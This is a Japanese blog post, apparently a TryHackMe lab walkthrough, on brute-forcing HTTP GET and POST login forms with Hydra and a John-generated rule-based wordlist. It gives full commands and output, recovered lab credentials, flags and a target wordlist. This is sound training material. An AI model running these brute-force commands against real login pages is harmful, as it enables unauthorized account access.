0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HydraでHTTPログインページをブルートフォースする方法

0
Posted at

はじめに

Webアプリケーションのログイン画面は、ペネトレーションテストやCTFにおいて非常に定番の攻撃ポイントです。
ここでは Hydra を使って、HTTPのログインフォーム(GET / POST)に対してブルートフォース攻撃を行う方法を解説します。


1. まず理解すべきこと:何を攻撃しているのか?

HydraでHTTPログインを攻撃する場合、重要なのは次の3点です。

  1. リクエストの種類:GETかPOSTか
  2. 送信されるパラメータ:username, password などの名前
  3. 成功・失敗時のレスポンスの違い
    • 失敗時に出るメッセージ
    • 成功時に表示されるページや文字列(例:logout.php)

これらは、以下の方法で調査します:

  • ブラウザの開発者ツール(Networkタブ)
  • Burp Suite などのプロキシツール

2. Hydra の http-get-form / http-post-form の構文

Hydra の HTTP フォーム攻撃は、次のような構文になります。

<url>:<form parameters>:<condition string>[:<optional>[:<optional>]

今回の例では、GETリクエストのログインフォームを攻撃しています。


3. 実際のコマンド例

hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f

実行すると、次のような出力が表示されます:

[80][http-get-form] host: 10.10.x.x   login: admin password: xxxxxx
1 of 1 target successfully completed, 1 valid password found

つまり、admin : xxxxxx が正しい認証情報だった、ということですね。


コマンドの各オプション解説

-l admin

単一ユーザー名を指定します。
ユーザー名リストを使う場合は -L userlist.txt を使います。

-P 500-worst-passwords.txt

パスワードのワードリストを指定します。
単一パスワードなら -p password も使えます。

10.10.x.x

ターゲットのIPアドレス、またはFQDN(ドメイン名)です。

http-get-form

HTTPのGETフォームを攻撃することを指定します。
POSTの場合は http-post-form を使います。

"/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php"

ここが一番重要な部分です。

  • /login-get/index.php
    → ログインページのパス
  • username=^USER^&password=^PASS^
    → Hydraが差し替えるパラメータ
    • ^USER^ はユーザー名
    • ^PASS^ はパスワード
  • S=logout.php
    成功条件 (Success condition)
    ログイン成功時に、HTML内に logout.php が含まれると判断して「当たり」とみなします。

失敗条件 F= と 成功条件 S= の考え方

Hydra で 誤検知(false positive)を防ぐ ために、レスポンスの中身を見て条件を設定します。

例:失敗時にこんな表示が出る場合

"Invalid password"

その場合:

F=Invalid password

と指定できます。

例:成功時に logout.php が表示される場合

S=logout.php

このように、実際のレスポンスを観察して決めるのが超重要です。
ここを適当にすると「全部成功扱い」みたいな事故が起きます(初心者あるある)。


-f オプション

-f

これは「1組でも正解が見つかったら即終了」の意味です。
CTFや検証環境では、だいたい付けておくと時間の節約になります。


4.質問を解き

質問1

Perform a brute-forcing attack against the phillips account for the login page at http://10.66.182.31/login-get using hydra? What is the flag?

解決の流れ

root@ip-10-66-69-22:~# hydra -l phillips -P clinic.lst 10.66.182.31 http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-06 08:43:45
[DATA] max 16 tasks per 1 server, overall 16 tasks, 105 login tries (l:1/p:105), ~7 tries per task
[DATA] attacking http-get-form://10.66.182.31:80/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php
[80][http-get-form] host: 10.66.182.31   login: phillips   password: Paracetamol
[STATUS] attack finished for 10.66.182.31 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-06 08:43:46
root@ip-10-66-69-22:~# 
 

login: phillips password: Paracetamolを利用して

結果

Untitled.jpg

THM{33c5d4954da881814420f3ba39772644}

質問2

Perform a rule-based password attack to gain access to the burgess account. Find the flag at the following website: http://10.66.182.31/login-post/. What is the flag?

Note: use the clinic.lst dictionary in generating and expanding the wordlist!

解決の流れ

john --wordlist=clinic.lst --rules=Single-Extra --stdout > http_password.txt
root@ip-10-66-69-22:~# hydra -l burgess -P http_password.txt 10.66.182.31 http-post-form "/login-post/index.php:username=^USER^&password=^PASS^:S=logout.php" -f 
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-06 08:53:36
[DATA] max 16 tasks per 1 server, overall 16 tasks, 537026 login tries (l:1/p:537026), ~33565 tries per task
[DATA] attacking http-post-form://10.66.182.31:80/login-post/index.php:username=^USER^&password=^PASS^:S=logout.php
[80][http-post-form] host: 10.66.182.31   login: burgess   password: OxytocinnicotyxO
[STATUS] attack finished for 10.66.182.31 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-06 08:54:03
root@ip-10-66-69-22:~# ^C

login: burgess password: OxytocinnicotyxOを利用して

結果

11111.jpg

THM{f8e3750cc0ccbb863f2706a3b2933227}

5. 実機演習について

以下のURLで実際に試せます:

http://10.66.182.31/login-get/index.php

※ VM を起動してからアクセスしてください。

  • Burp や DevTools でリクエストを観察
  • パラメータ名とレスポンスを確認
  • Hydra の条件を組み立てる

この流れが「実戦の型」です。


6. Hydra 以外のオンライン攻撃ツール

知識を広げるなら、これらもおすすめです:

  • Medusa:高速・シンプルでサービス対応が広い
  • Ncrack:Nmapファミリー、プロトコル実装が堅い
  • その他:patator など

ツールは違っても、「リクエスト構造の理解」と「成功/失敗条件の見極め」 は全部共通スキルです。


まとめ

  • Hydra で HTTP ログイン攻撃をするには:
    • GET / POST を見極める
    • パラメータ名を正確に指定する
    • S= / F= 条件をレスポンスから決める
  • Burp や DevTools での事前分析が成功率を左右する
  • これは「ツール芸」じゃなくて「Webの挙動理解ゲーム」

clinic.lst

protected
Research
Oxytocin
Paracetamol
Cortisol
appointment
Cardiology
February
providing
treatment
commonly
hospital
Template
tooplate
Pregnancy
Saturday
Copyright
Laboratory
Departments
Insurance
healthier
Exercise
customised
Lifestyle
Balanced
nutrition
Benefits
clinical
innovative
technology
experience
multidisciplinary
surgeons
researchers
specialists
together
medicine
pressing
findings
medicines
treatments
President
Weronika
Phillips
released
reaction
connections
stressful
situations
reliever
alleviate
referred
response
APPOINTMENT
Department
Additional
location
affiliated
professionals
establishing
maintaining
qualified
physicians
committed
tailored
specific
requirements
official
Medicalmedical
porttitor
imperdiet
vestibulum
molestie
Phasellus
vulputate
Vestibulum
vehicula
placerat
venenatis
eleifend
Technology
Consultant
thmredteam
Professional
interdum
condimentum
pellentesque
fringilla
volutpat
tincidunt
Maecenas
lobortis
facilisis
pulvinar
dignissim
Suspendisse
Facebook
maecenas
voluptate
Introducing
Categories
pharetra
Curabitur
consequat
ultricies
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?